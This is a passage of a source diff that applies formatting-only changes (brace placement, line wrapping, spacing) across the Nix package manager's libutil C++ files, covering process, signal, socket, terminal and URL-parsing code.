+110,8 @@ bool verifyDetached(std::string_view data, std::string_view sig, const PublicKey auto ss = BorrowedCryptoValue::parse(sig); auto key = publicKeys.find(std::string(ss.name)); - if (key == publicKeys.end()) return false; + if (key == publicKeys.end()) + return false; return key->second.verifyDetachedAnon(data, ss.payload); } diff --git a/src/libutil/signature/signer.cc b/src/libutil/signature/signer.cc index 46445e9e9..1e61a80ed 100644 --- a/src/libutil/signature/signer.cc +++ b/src/libutil/signature/signer.cc @@ -8,7 +8,8 @@ namespace nix { LocalSigner::LocalSigner(SecretKey && privateKey) : privateKey(privateKey) , publicKey(privateKey.toPublicKey()) -{ } +{ +} std::string LocalSigner::signDetached(std::string_view s) const { diff --git a/src/libutil/source-accessor.cc b/src/libutil/source-accessor.cc index b9ebc82b6..0bdb98bf5 100644 --- a/src/libutil/source-accessor.cc +++ b/src/libutil/source-accessor.cc @@ -10,17 +10,26 @@ bool SourceAccessor::Stat::isNotNARSerialisable() return this->type != tRegular && this->type != tSymlink && this->type != tDirectory; } -std::string SourceAccessor::Stat::typeString() { +std::string SourceAccessor::Stat::typeString() +{ switch (this->type) { - case tRegular: return "regular"; - case tSymlink: return "symlink"; - case tDirectory: return "directory"; - case tChar: return "character device"; - case tBlock: return "block device"; - case tSocket: return "socket"; - case tFifo: return "fifo"; - case tUnknown: - default: return "unknown"; + case tRegular: + return "regular"; + case tSymlink: + return "symlink"; + case tDirectory: + return "directory"; + case tChar: + return "character device"; + case tBlock: + return "block device"; + case tSocket: + return "socket"; + case tFifo: + return "fifo"; + case tUnknown: + default: + return "unknown"; } return "unknown"; } @@ -40,28 +49,19 @@ std::string SourceAccessor::readFile(const CanonPath & path) { StringSink sink; std::optional size; - readFile(path, sink, [&](uint64_t _size) - { - size = _size; - }); + readFile(path, sink, [&](uint64_t _size) { size = _size; }); assert(size && *size == sink.s.size()); return std::move(sink.s); } -void SourceAccessor::readFile( - const CanonPath & path, - Sink & sink, - std::function sizeCallback) +void SourceAccessor::readFile(const CanonPath & path, Sink & sink, std::function sizeCallback) { auto s = readFile(path); sizeCallback(s.size()); sink(s); } -Hash SourceAccessor::hashPath( - const CanonPath & path, - PathFilter & filter, - HashAlgorithm ha) +Hash SourceAccessor::hashPath(const CanonPath & path, PathFilter & filter, HashAlgorithm ha) { HashSink sink(ha); dumpPath(path, sink, filter); @@ -87,9 +87,7 @@ std::string SourceAccessor::showPath(const CanonPath & path) return displayPrefix + path.abs() + displaySuffix; } -CanonPath SourceAccessor::resolveSymlinks( - const CanonPath & path, - SymlinkResolution mode) +CanonPath SourceAccessor::resolveSymlinks(const CanonPath & path, SymlinkResolution mode) { auto res = CanonPath::root; diff --git a/src/libutil/source-path.cc b/src/libutil/source-path.cc index 6d42fa95f..e9244d8a6 100644 --- a/src/libutil/source-path.cc +++ b/src/libutil/source-path.cc @@ -3,7 +3,9 @@ namespace nix { std::string_view SourcePath::baseName() const -{ return path.baseName().value_or("source"); } +{ + return path.baseName().value_or("source"); +} SourcePath SourcePath::parent() const { @@ -13,39 +15,59 @@ SourcePath SourcePath::parent() const } std::string SourcePath::readFile() const -{ return accessor->readFile(path); } +{ + return accessor->readFile(path); +} bool SourcePath::pathExists() const -{ return accessor->pathExists(path); } +{ + return accessor->pathExists(path); +} SourceAccessor::Stat SourcePath::lstat() const -{ return accessor->lstat(path); } +{ + return accessor->lstat(path); +} std::optional SourcePath::maybeLstat() const -{ return accessor->maybeLstat(path); } +{ + return accessor->maybeLstat(path); +} SourceAccessor::DirEntries SourcePath::readDirectory() const -{ return accessor->readDirectory(path); } +{ + return accessor->readDirectory(path); +} std::string SourcePath::readLink() const -{ return accessor->readLink(path); } +{ + return accessor->readLink(path); +} -void SourcePath::dumpPath( - Sink & sink, - PathFilter & filter) const -{ return accessor->dumpPath(path, sink, filter); } +void SourcePath::dumpPath(Sink & sink, PathFilter & filter) const +{ + return accessor->dumpPath(path, sink, filter); +} std::optional SourcePath::getPhysicalPath() const -{ return accessor->getPhysicalPath(path); } +{ + return accessor->getPhysicalPath(path); +} std::string SourcePath::to_string() const -{ return accessor->showPath(path); } +{ + return accessor->showPath(path); +} -SourcePath SourcePath::operator / (const CanonPath & x) const -{ return {accessor, path / x}; } +SourcePath SourcePath::operator/(const CanonPath & x) const +{ + return {accessor, path / x}; +} -SourcePath SourcePath::operator / (std::string_view c) const -{ return {accessor, path / c}; } +SourcePath SourcePath::operator/(std::string_view c) const +{ + return {accessor, path / c}; +} bool SourcePath::operator==(const SourcePath & x) const noexcept { diff --git a/src/libutil/suggestions.cc b/src/libutil/suggestions.cc index 0105c30e7..e8c40a928 100644 --- a/src/libutil/suggestions.cc +++ b/src/libutil/suggestions.cc @@ -15,20 +15,20 @@ int levenshteinDistance(std::string_view first, std::string_view second) int m = first.size(); int n = second.size(); - auto v0 = std::vector(n+1); - auto v1 = std::vector(n+1); + auto v0 = std::vector(n + 1); + auto v1 = std::vector(n + 1); for (auto i = 0; i <= n; i++) v0[i] = i; for (auto i = 0; i < m; i++) { - v1[0] = i+1; + v1[0] = i + 1; for (auto j = 0; j < n; j++) { - auto deletionCost = v0[j+1] + 1; + auto deletionCost = v0[j + 1] + 1; auto insertionCost = v1[j] + 1; auto substitutionCost = first[i] == second[j] ? v0[j] : v0[j] + 1; - v1[j+1] = std::min({deletionCost, insertionCost, substitutionCost}); + v1[j + 1] = std::min({deletionCost, insertionCost, substitutionCost}); } std::swap(v0, v1); @@ -37,18 +37,17 @@ int levenshteinDistance(std::string_view first, std::string_view second) return v0[n]; } -Suggestions Suggestions::bestMatches ( - const std::set & allMatches, - std::string_view query) +Suggestions Suggestions::bestMatches(const std::set & allMatches, std::string_view query) { std::set res; for (const auto & possibleMatch : allMatches) { - res.insert(Suggestion { - .distance = levenshteinDistance(query, possibleMatch), - .suggestion = possibleMatch, - }); + res.insert( + Suggestion{ + .distance = levenshteinDistance(query, possibleMatch), + .suggestion = possibleMatch, + }); } - return Suggestions { res }; + return Suggestions{res}; } Suggestions Suggestions::trim(int limit, int maxDistance) const @@ -75,31 +74,29 @@ std::string Suggestion::to_string() const std::string Suggestions::to_string() const { switch (suggestions.size()) { - case 0: - return ""; - case 1: - return suggestions.begin()->to_string(); - default: { - std::string res = "one of "; - auto iter = suggestions.begin(); - res += iter->to_string(); // Iter can’t be end() because the container isn’t null - iter++; - auto last = suggestions.end(); last--; - for ( ; iter != suggestions.end() ; iter++) { - res += (iter == last) ? " or " : ", "; - res += iter->to_string(); - } - return res; + case 0: + return ""; + case 1: + return suggestions.begin()->to_string(); + default: { + std::string res = "one of "; + auto iter = suggestions.begin(); + res += iter->to_string(); // Iter can’t be end() because the container isn’t null + iter++; + auto last = suggestions.end(); + last--; + for (; iter != suggestions.end(); iter++) { + res += (iter == last) ? " or " : ", "; + res += iter->to_string(); } + return res; + } } } Suggestions & Suggestions::operator+=(const Suggestions & other) { - suggestions.insert( - other.suggestions.begin(), - other.suggestions.end() - ); + suggestions.insert(other.suggestions.begin(), other.suggestions.end()); return *this; } diff --git a/src/libutil/terminal.cc b/src/libutil/terminal.cc index fa0f7e871..b02516910 100644 --- a/src/libutil/terminal.cc +++ b/src/libutil/terminal.cc @@ -3,12 +3,12 @@ #include "nix/util/sync.hh" #ifdef _WIN32 -# include -# define WIN32_LEAN_AND_MEAN -# include -# define isatty _isatty +# include +# define WIN32_LEAN_AND_MEAN +# include +# define isatty _isatty #else -# include +# include #endif #include #include @@ -63,10 +63,8 @@ namespace nix { bool isTTY() { - static const bool tty = - isatty(STDERR_FILENO) - && getEnv("TERM").value_or("dumb") != "dumb" - && !(getEnv("NO_COLOR").has_value() || getEnv("NOCOLOR").has_value()); + static const bool tty = isatty(STDERR_FILENO) && getEnv("TERM").value_or("dumb") != "dumb" + && !(getEnv("NO_COLOR").has_value() || getEnv("NOCOLOR").has_value()); return tty; } @@ -87,20 +85,26 @@ std::string filterANSIEscapes(std::string_view s, bool filterAll, unsigned int w if (i != s.end() && *i == '[') { e += *i++; // eat parameter bytes - while (i != s.end() && *i >= 0x30 && *i <= 0x3f) e += *i++; + while (i != s.end() && *i >= 0x30 && *i <= 0x3f) + e += *i++; // eat intermediate bytes - while (i != s.end() && *i >= 0x20 && *i <= 0x2f) e += *i++; + while (i != s.end() && *i >= 0x20 && *i <= 0x2f) + e += *i++; // eat final byte - if (i != s.end() && *i >= 0x40 && *i <= 0x7e) e += last = *i++; + if (i != s.end() && *i >= 0x40 && *i <= 0x7e) + e += last = *i++; } else if (i != s.end() && *i == ']') { // OSC e += *i++; // eat ESC - while (i != s.end() && *i != '\e') e += *i++; + while (i != s.end() && *i != '\e') + e += *i++; // eat backslash - if (i != s.end() && *i == '\\') e += last = *i++; + if (i != s.end() && *i == '\\') + e += last = *i++; } else { - if (i != s.end() && *i >= 0x40 && *i <= 0x5f) e += *i++; + if (i != s.end() && *i >= 0x40 && *i <= 0x5f) + e += *i++; } if (!filterAll && last == 'm') @@ -137,17 +141,16 @@ std::string filterANSIEscapes(std::string_view s, bool filterAll, unsigned int w static Sync> windowSize{{0, 0}}; - void updateWindowSize() { - #ifndef _WIN32 +#ifndef _WIN32 struct winsize ws; if (ioctl(2, TIOCGWINSZ, &ws) == 0) { auto windowSize_(windowSize.lock()); windowSize_->first = ws.ws_row; windowSize_->second = ws.ws_col; } - #else +#else CONSOLE_SCREEN_BUFFER_INFO info; // From https://stackoverflow.com/a/12642749 if (GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &info) != 0) { @@ -156,10 +159,9 @@ void updateWindowSize() windowSize_->first = info.srWindow.Bottom - info.srWindow.Top + 1; windowSize_->second = info.dwSize.X; } - #endif +#endif } - std::pair getWindowSize() { return *windowSize.lock(); diff --git a/src/libutil/thread-pool.cc b/src/libutil/thread-pool.cc index 8958bc550..fb74c703e 100644 --- a/src/libutil/thread-pool.cc +++ b/src/libutil/thread-pool.cc @@ -9,7 +9,8 @@ ThreadPool::ThreadPool(size_t _maxThreads) { if (!maxThreads) { maxThreads = std::thread::hardware_concurrency(); - if (!maxThreads) maxThreads = 1; + if (!maxThreads) + maxThreads = 1; } debug("starting pool of %d threads", maxThreads - 1); @@ -29,7 +30,8 @@ void ThreadPool::shutdown() std::swap(workers, state->workers); } - if (workers.empty()) return; + if (workers.empty()) + return; debug("reaping %d worker threads", workers.size()); @@ -127,9 +129,11 @@ void ThreadPool::doWork(bool mainThread) /* Wait until a work item is available or we're asked to quit. */ while (true) { - if (quit) return; + if (quit) + return; - if (!state->pending.empty()) break; + if (!state->pending.empty()) + break; /* If there are no active or pending items, and the main thread is running process(), then no new items @@ -159,5 +163,3 @@ void ThreadPool::doWork(bool mainThread) } } - - diff --git a/src/libutil/unix-domain-socket.cc b/src/libutil/unix-domain-socket.cc index 8722c8f05..79e8506e1 100644 --- a/src/libutil/unix-domain-socket.cc +++ b/src/libutil/unix-domain-socket.cc @@ -3,12 +3,12 @@ #include "nix/util/util.hh" #ifdef _WIN32 -# include -# include +# include +# include #else -# include -# include -# include "nix/util/processes.hh" +# include +# include +# include "nix/util/processes.hh" #endif #include @@ -16,11 +16,14 @@ namespace nix { AutoCloseFD createUnixDomainSocket() { - AutoCloseFD fdSocket = toDescriptor(socket(PF_UNIX, SOCK_STREAM - #ifdef SOCK_CLOEXEC - | SOCK_CLOEXEC - #endif - , 0)); + AutoCloseFD fdSocket = toDescriptor(socket( + PF_UNIX, + SOCK_STREAM +#ifdef SOCK_CLOEXEC + | SOCK_CLOEXEC +#endif + , + 0)); if (!fdSocket) throw SysError("cannot create Unix domain socket"); #ifndef _WIN32 @@ -29,7 +32,6 @@ AutoCloseFD createUnixDomainSocket() return fdSocket; } - AutoCloseFD createUnixDomainSocket(const Path & path, mode_t mode) { auto fdSocket = nix::createUnixDomainSocket(); @@ -45,9 +47,8 @@ AutoCloseFD createUnixDomainSocket(const Path & path, mode_t mode) return fdSocket; } -static void bindConnectProcHelper( - std::string_view operationName, auto && operation, - Socket fd, const std::string & path) +static void +bindConnectProcHelper(std::string_view operationName, auto && operation, Socket fd, const std::string & path) { struct sockaddr_un addr; addr.sun_family = AF_UNIX; @@ -100,7 +101,6 @@ static void bindConnectProcHelper( } } - void bind(Socket fd, const std::string & path) { unlink(path.c_str()); @@ -108,7 +108,6 @@ void bind(Socket fd, const std::string & path) bindConnectProcHelper("bind", ::bind, fd, path); } - void connect(Socket fd, const std::string & path) { bindConnectProcHelper("connect", ::connect, fd, path); diff --git a/src/libutil/unix/file-descriptor.cc b/src/libutil/unix/file-descriptor.cc index 73ee49982..02ff1b140 100644 --- a/src/libutil/unix/file-descriptor.cc +++ b/src/libutil/unix/file-descriptor.cc @@ -45,28 +45,31 @@ void readFull(int fd, char * buf, size_t count) ssize_t res = read(fd, buf, count); if (res == -1) { switch (errno) { - case EINTR: continue; + case EINTR: + continue; case EAGAIN: pollFD(fd, POLLIN); continue; } throw SysError("reading from file"); } - if (res == 0) throw EndOfFile("unexpected end-of-file"); + if (res == 0) + throw EndOfFile("unexpected end-of-file"); count -= res; buf += res; } } - void writeFull(int fd, std::string_view s, bool allowInterrupts) { while (!s.empty()) { - if (allowInterrupts) checkInterrupt(); + if (allowInterrupts) + checkInterrupt(); ssize_t res = write(fd, s.data(), s.size()); if (res == -1) { switch (errno) { - case EINTR: continue; + case EINTR: + continue; case EAGAIN: pollFD(fd, POLLOUT); continue; @@ -78,7 +81,6 @@ void writeFull(int fd, std::string_view s, bool allowInterrupts) } } - std::string readLine(int fd, bool eofOk) { std::string s; @@ -89,7 +91,8 @@ std::string readLine(int fd, bool eofOk) ssize_t rd = read(fd, &ch, 1); if (rd == -1) { switch (errno) { - case EINTR: continue; + case EINTR: + continue; case EAGAIN: { pollFD(fd, POLLIN); continue; @@ -102,15 +105,14 @@ std::string readLine(int fd, bool eofOk) return s; else throw EndOfFile("unexpected EOF reading a line"); - } - else { - if (ch == '\n') return s; + } else { + if (ch == '\n') + return s; s += ch; } } } - void drainFD(int fd, Sink & sink, bool block) { // silence GCC maybe-uninitialized warning in finally @@ -138,9 +140,10 @@ void drainFD(int fd, Sink & sink, bool block) break; if (errno != EINTR) throw SysError("reading from file"); - } - else if (rd == 0) break; - else sink({reinterpret_cast(buf.data()), (size_t) rd}); + } else if (rd == 0) + break; + else + sink({reinterpret_cast(buf.data()), (size_t) rd}); } } @@ -150,9 +153,11 @@ void Pipe::create() { int fds[2]; #if HAVE_PIPE2 - if (pipe2(fds, O_CLOEXEC) != 0) throw SysError("creating pipe"); + if (pipe2(fds, O_CLOEXEC) != 0) + throw SysError("creating pipe"); #else - if (pipe(fds) != 0) throw SysError("creating pipe"); + if (pipe(fds) != 0) + throw SysError("creating pipe"); unix::closeOnExec(fds[0]); unix::closeOnExec(fds[1]); #endif @@ -160,17 +165,16 @@ void Pipe::create() writeSide = fds[1]; } - ////////////////////////////////////////////////////////////////////// #if defined(__linux__) || defined(__FreeBSD__) static int unix_close_range(unsigned int first, unsigned int last, int flags) { -#if !HAVE_CLOSE_RANGE - return syscall(SYS_close_range, first, last, (unsigned int)flags); -#else +# if !HAVE_CLOSE_RANGE + return syscall(SYS_close_range, first, last, (unsigned int) flags); +# else return close_range(first, last, flags); -#endif +# endif } #endif @@ -213,12 +217,10 @@ void unix::closeExtraFDs() close(fd); /* ignore result */ } - void unix::closeOnExec(int fd) { int prev; - if ((prev = fcntl(fd, F_GETFD, 0)) == -1 || - fcntl(fd, F_SETFD, prev | FD_CLOEXEC) == -1) + if ((prev = fcntl(fd, F_GETFD, 0)) == -1 || fcntl(fd, F_SETFD, prev | FD_CLOEXEC) == -1) throw SysError("setting close-on-exec flag"); } diff --git a/src/libutil/unix/file-path.cc b/src/libutil/unix/file-path.cc index 0fb1f468c..59d808c02 100644 --- a/src/libutil/unix/file-path.cc +++ b/src/libutil/unix/file-path.cc @@ -10,7 +10,7 @@ namespace nix { std::optional maybePath(PathView path) { - return { path }; + return {path}; } std::filesystem::path pathNG(PathView path) diff --git a/src/libutil/unix/include/nix/util/signals-impl.hh b/src/libutil/unix/include/nix/util/signals-impl.hh index 7397744b2..52b96554a 100644 --- a/src/libutil/unix/include/nix/util/signals-impl.hh +++ b/src/libutil/unix/include/nix/util/signals-impl.hh @@ -47,7 +47,7 @@ void _interrupted(); * necessarily match the current thread's mask. * See saveSignalMask() to set the saved mask to the current mask. */ -void setChildSignalMask(sigset_t *sigs); +void setChildSignalMask(sigset_t * sigs); /** * Start a thread that handles various signals. Also block those signals @@ -116,8 +116,8 @@ struct ReceiveInterrupts ReceiveInterrupts() : target(pthread_self()) , callback(createInterruptCallback([&]() { pthread_kill(target, SIGUSR1); })) - { } + { + } }; - } diff --git a/src/libutil/unix/processes.cc b/src/libutil/unix/processes.cc index 198243c20..1ca181ed9 100644 --- a/src/libutil/unix/processes.cc +++ b/src/libutil/unix/processes.cc @@ -20,51 +20,45 @@ #include #ifdef __APPLE__ -# include +# include #endif #ifdef __linux__ -# include -# include +# include +# include #endif #include "util-config-private.hh" #include "util-unix-config-private.hh" - namespace nix { -Pid::Pid() -{ -} - +Pid::Pid() {} Pid::Pid(pid_t pid) : pid(pid) { } - Pid::~Pid() { - if (pid != -1) kill(); + if (pid != -1) + kill(); } - -void Pid::operator =(pid_t pid) +void Pid::operator=(pid_t pid) { - if (this->pid != -1 && this->pid != pid) kill(); + if (this->pid != -1 && this->pid != pid) + kill(); this->pid = pid; killSignal = SIGKILL; // reset signal to default } - Pid::operator pid_t() { return pid; } - int Pid::kill() { assert(pid != -1); @@ -87,7 +81,6 @@ int Pid::kill() return wait(); } - int Pid::wait() { assert(pid != -1); @@ -104,19 +97,16 @@ int Pid::wait() } } - void Pid::setSeparatePG(bool separatePG) { this->separatePG = separatePG; } - void Pid::setKillSignal(int signal) { this->killSignal = signal; } - pid_t Pid::release() { pid_t p = pid; @@ -124,7 +114,6 @@ pid_t Pid::release() return p; } - void killUser(uid_t uid) { debug("killing all processes running under uid '%1%'", uid); @@ -136,7 +125,6 @@ void killUser(uid_t uid) fork a process, switch to uid, and send a mass kill. */ Pid pid = startProcess([&] { - if (setuid(uid) == -1) throw SysError("setting uid"); @@ -147,11 +135,14 @@ void killUser(uid_t uid) calling process. In the OSX libc, it's set to true, which means "follow POSIX", which we don't want here */ - if (syscall(SYS_kill, -1, SIGKILL, false) == 0) break; + if (syscall(SYS_kill, -1, SIGKILL, false) == 0) + break; #else - if (kill(-1, SIGKILL) == 0) break; + if (kill(-1, SIGKILL) == 0) + break; #endif - if (errno == ESRCH || errno == EPERM) break; /* no more processes */ + if (errno == ESRCH || errno == EPERM) + break; /* no more processes */ if (errno != EINTR) throw SysError("cannot kill processes for uid '%1%'", uid); } @@ -169,7 +160,6 @@ void killUser(uid_t uid) uid | grep -q $uid'. */ } - ////////////////////////////////////////////////////////////////////// using ChildWrapperFunction = std::function; @@ -184,22 +174,21 @@ static pid_t doFork(bool allowVfork, ChildWrapperFunction & fun) #else pid_t pid = fork(); #endif - if (pid != 0) return pid; + if (pid != 0) + return pid; fun(); unreachable(); } - #ifdef __linux__ static int childEntry(void * arg) { - auto & fun = *reinterpret_cast(arg); + auto & fun = *reinterpret_cast(arg); fun(); return 1; } #endif - pid_t startProcess(std::function fun, const ProcessOptions & options) { ChildWrapperFunction wrapper = [&] { @@ -221,8 +210,10 @@ pid_t startProcess(std::function fun, const ProcessOptions & options) } catch (std::exception & e) { try { std::cerr << options.errorPrefix << e.what() << "\n"; - } catch (...) { } - } catch (...) { } + } catch (...) { + } + } catch (...) { + } if (options.runExitHandlers) exit(1); else @@ -232,34 +223,41 @@ pid_t startProcess(std::function fun, const ProcessOptions & options) pid_t pid = -1; if (options.cloneFlags) { - #ifdef __linux__ +#ifdef __linux__ // Not supported, since then we don't know when to free the stack. assert(!(options.cloneFlags & CLONE_VM)); size_t stackSize = 1 * 1024 * 1024; - auto stack = static_cast(mmap(0, stackSize, - PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0)); - if (stack == MAP_FAILED) throw SysError("allocating stack"); + auto stack = static_cast( + mmap(0, stackSize, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0)); + if (stack == MAP_FAILED) + throw SysError("allocating stack"); Finally freeStack([&] { munmap(stack, stackSize); }); pid = clone(childEntry, stack + stackSize, options.cloneFlags | SIGCHLD, &wrapper); - #else +#else throw Error("clone flags are only supported on Linux"); - #endif +#endif } else pid = doFork(options.allowVfork, wrapper); - if (pid == -1) throw SysError("unable to fork"); + if (pid == -1) + throw SysError("unable to fork"); return pid; } - -std::string runProgram(Path program, bool lookupPath, const Strings & args, - const std::optional & input, bool isInteractive) +std::string runProgram( + Path program, bool lookupPath, const Strings & args, const std::optional & input, bool isInteractive) { - auto res = runProgram(RunOptions {.program = program, .lookupPath = lookupPath, .args = args, .input = input, .isInteractive = isInteractive}); + auto res = runProgram( + RunOptions{ + .program = program, + .lookupPath = lookupPath, + .args = args, + .input = input, + .isInteractive = isInteractive}); if (!statusOk(res.first)) throw ExecError(res.first, "program '%1%' %2%", program, statusToString(res.first)); @@ -300,8 +298,10 @@ void runProgram2(const RunOptions & options) /* Create a pipe. */ Pipe out, in; - if (options.standardOut) out.create(); - if (source) in.create(); + if (options.standardOut) + out.create(); + if (source) + in.create(); ProcessOptions processOptions; // vfork implies that the environment of the main process and the fork will @@ -312,41 +312,43 @@ void runProgram2(const RunOptions & options) auto suspension = logger->suspendIf(options.isInteractive); /* Fork. */ - Pid pid = startProcess([&] { - if (options.environment) - replaceEnv(*options.environment); - if (options.standardOut && dup2(out.writeSide.get(), STDOUT_FILENO) == -1) - throw SysError("dupping stdout"); - if (options.mergeStderrToStdout) - if (dup2(STDOUT_FILENO, STDERR_FILENO) == -1) - throw SysError("cannot dup stdout into stderr"); - if (source && dup2(in.readSide.get(), STDIN_FILENO) == -1) - throw SysError("dupping stdin"); + Pid pid = startProcess( + [&] { + if (options.environment) + replaceEnv(*options.environment); + if (options.standardOut && dup2(out.writeSide.get(), STDOUT_FILENO) == -1) + throw SysError("dupping stdout"); + if (options.mergeStderrToStdout) + if (dup2(STDOUT_FILENO, STDERR_FILENO) == -1) + throw SysError("cannot dup stdout into stderr"); + if (source && dup2(in.readSide.get(), STDIN_FILENO) == -1) + throw SysError("dupping stdin"); - if (options.chdir && chdir((*options.chdir).c_str()) == -1) - throw SysError("chdir failed"); - if (options.gid && setgid(*options.gid) == -1) - throw SysError("setgid failed"); - /* Drop all other groups if we're setgid. */ - if (options.gid && setgroups(0, 0) == -1) - throw SysError("setgroups failed"); - if (options.uid && setuid(*options.uid) == -1) - throw SysError("setuid failed"); + if (options.chdir && chdir((*options.chdir).c_str()) == -1) + throw SysError("chdir failed"); + if (options.gid && setgid(*options.gid) == -1) + throw SysError("setgid failed"); + /* Drop all other groups if we're setgid. */ + if (options.gid && setgroups(0, 0) == -1) + throw SysError("setgroups failed"); + if (options.uid && setuid(*options.uid) == -1) + throw SysError("setuid failed"); - Strings args_(options.args); - args_.push_front(options.program); + Strings args_(options.args); + args_.push_front(options.program); - restoreProcessContext(); + restoreProcessContext(); - if (options.lookupPath) - execvp(options.program.c_str(), stringsToCharPtrs(args_).data()); + if (options.lookupPath) + execvp(options.program.c_str(), stringsToCharPtrs(args_).data()); // This allows you to refer to a program with a pathname relative // to the PATH variable. - else - execv(options.program.c_str(), stringsToCharPtrs(args_).data()); + else + execv(options.program.c_str(), stringsToCharPtrs(args_).data()); - throw SysError("executing '%1%'", options.program); - }, processOptions); + throw SysError("executing '%1%'", options.program); + }, + processOptions); out.writeSide.close(); @@ -359,7 +361,6 @@ void runProgram2(const RunOptions & options) writerThread.join(); }); - if (source) { in.readSide.close(); writerThread = std::thread([&] { @@ -389,7 +390,8 @@ void runProgram2(const RunOptions & options) int status = pid.wait(); /* Wait for the writer thread to finish. */ - if (source) promise.get_future().get(); + if (source) + promise.get_future().get(); if (status) throw ExecError(status, "program '%1%' %2%", options.program, statusToString(status)); @@ -410,13 +412,12 @@ std::string statusToString(int status) #else return fmt("failed due to signal %1%", sig); #endif - } - else + } else return "died abnormally"; - } else return "succeeded"; + } else + return "succeeded"; } - bool statusOk(int status) { return WIFEXITED(status) && WEXITSTATUS(status) == 0; @@ -427,7 +428,7 @@ int execvpe(const char * file0, const char * const argv[], const char * const en auto file = ExecutablePath::load().findPath(file0); // `const_cast` is safe. See the note in // https://pubs.opengroup.org/onlinepubs/9799919799/functions/exec.html - return execve(file.c_str(), const_cast(argv), const_cast(envp)); + return execve(file.c_str(), const_cast(argv), const_cast(envp)); } } diff --git a/src/libutil/unix/signals.cc b/src/libutil/unix/signals.cc index 665b9b096..6208c6e57 100644 --- a/src/libutil/unix/signals.cc +++ b/src/libutil/unix/signals.cc @@ -34,15 +34,14 @@ void unix::_interrupted() } } - ////////////////////////////////////////////////////////////////////// - /* We keep track of interrupt callbacks using integer tokens, so we can iterate safely without having to lock the data structure while executing arbitrary functions. */ -struct InterruptCallbacks { +struct InterruptCallbacks +{ typedef int64_t Token; /* We use unique tokens so that we can't accidentally delete the wrong @@ -97,7 +96,6 @@ void unix::triggerInterrupt() } } - static sigset_t savedSignalMask; static bool savedSignalMaskIsSet = false; @@ -105,7 +103,8 @@ void unix::setChildSignalMask(sigset_t * sigs) { assert(sigs); // C style function, but think of sigs as a reference -#if (defined(_POSIX_C_SOURCE) && _POSIX_C_SOURCE >= 1) || (defined(_XOPEN_SOURCE) && _XOPEN_SOURCE) || (defined(_POSIX_SOURCE) && _POSIX_SOURCE) +#if (defined(_POSIX_C_SOURCE) && _POSIX_C_SOURCE >= 1) || (defined(_XOPEN_SOURCE) && _XOPEN_SOURCE) \ + || (defined(_POSIX_SOURCE) && _POSIX_SOURCE) sigemptyset(&savedSignalMask); // There's no "assign" or "copy" function, so we rely on (math) idempotence // of the or operator: a or a = a. @@ -120,7 +119,8 @@ void unix::setChildSignalMask(sigset_t * sigs) savedSignalMaskIsSet = true; } -void unix::saveSignalMask() { +void unix::saveSignalMask() +{ if (sigprocmask(SIG_BLOCK, nullptr, &savedSignalMask)) throw SysError("querying signal mask"); @@ -166,7 +166,6 @@ void unix::restoreSignals() throw SysError("restoring signals"); } - /* RAII helper to automatically deregister a callback. */ struct InterruptCallbackImpl : InterruptCallback { @@ -184,7 +183,7 @@ std::unique_ptr createInterruptCallback(std::function auto token = interruptCallbacks->nextToken++; interruptCallbacks->callbacks.emplace(token, callback); - std::unique_ptr res {new InterruptCallbackImpl{}}; + std::unique_ptr res{new InterruptCallbackImpl{}}; res->token = token; return std::unique_ptr(res.release()); diff --git a/src/libutil/unix/users.cc b/src/libutil/unix/users.cc index 18df7fdf2..e316a301d 100644 --- a/src/libutil/unix/users.cc +++ b/src/libutil/unix/users.cc @@ -9,7 +9,9 @@ namespace nix { -namespace fs { using namespace std::filesystem; } +namespace fs { +using namespace std::filesystem; +} std::string getUserName() { @@ -25,16 +27,14 @@ Path getHomeOf(uid_t userId) std::vector buf(16384); struct passwd pwbuf; struct passwd * pw; - if (getpwuid_r(userId, &pwbuf, buf.data(), buf.size(), &pw) != 0 - || !pw || !pw->pw_dir || !pw->pw_dir[0]) + if (getpwuid_r(userId, &pwbuf, buf.data(), buf.size(), &pw) != 0 || !pw || !pw->pw_dir || !pw->pw_dir[0]) throw Error("cannot determine user's home directory"); return pw->pw_dir; } Path getHome() { - static Path homeDir = []() - { + static Path homeDir = []() { std::optional unownedUserHomeDir = {}; auto homeDir = getEnv("HOME"); if (homeDir) { @@ -43,7 +43,10 @@ Path getHome() int result = stat(homeDir->c_str(), &st); if (result != 0) { if (errno != ENOENT) { - warn("couldn't stat $HOME ('%s') for reason other than not existing ('%d'), falling back to the one defined in the 'passwd' file", *homeDir, errno); + warn( + "couldn't stat $HOME ('%s') for reason other than not existing ('%d'), falling back to the one defined in the 'passwd' file", + *homeDir, + errno); homeDir.reset(); } } else if (st.st_uid != geteuid()) { @@ -53,7 +56,10 @@ Path getHome() if (!homeDir) { homeDir = getHomeOf(geteuid()); if (unownedUserHomeDir.has_value() && unownedUserHomeDir != homeDir) { - warn("$HOME ('%s') is not owned by you, falling back to the one defined in the 'passwd' file ('%s')", *unownedUserHomeDir, *homeDir); + warn( + "$HOME ('%s') is not owned by you, falling back to the one defined in the 'passwd' file ('%s')", + *unownedUserHomeDir, + *homeDir); } } return *homeDir; @@ -61,7 +67,8 @@ Path getHome() return homeDir; } -bool isRootUser() { +bool isRootUser() +{ return getuid() == 0; } diff --git a/src/libutil/url.cc b/src/libutil/url.cc index eaa2b0682..d551a5b01 100644 --- a/src/libutil/url.cc +++ b/src/libutil/url.cc @@ -13,18 +13,15 @@ std::regex revRegex(revRegexS, std::regex::ECMAScript); ParsedURL parseURL(const std::string & url) { static std::regex uriRegex( - "((" + schemeNameRegex + "):" - + "(?:(?://(" + authorityRegex + ")(" + absPathRegex + "))|(/?" + pathRegex + ")))" - + "(?:\\?(" + queryRegex + "))?" - + "(?:#(" + fragmentRegex + "))?", + "((" + schemeNameRegex + "):" + "(?:(?://(" + authorityRegex + ")(" + absPathRegex + "))|(/?" + pathRegex + + ")))" + "(?:\\?(" + queryRegex + "))?" + "(?:#(" + fragmentRegex + "))?", std::regex::ECMAScript); std::smatch match; if (std::regex_match(url, match, uriRegex)) { std::string scheme = match[2]; - auto authority = match[3].matched - ? std::optional(match[3]) : std::nullopt; + auto authority = match[3].matched ? std::optional(match[3]) : std::nullopt; std::string path = match[4].matched ? match[4] : match[5]; auto & query = match[6]; auto & fragment = match[7]; @@ -32,8 +29,7 @@ ParsedURL parseURL(const std::string & url) auto transportIsFile = parseUrlScheme(scheme).transport == "file"; if (authority && *authority != "" && transportIsFile) - throw 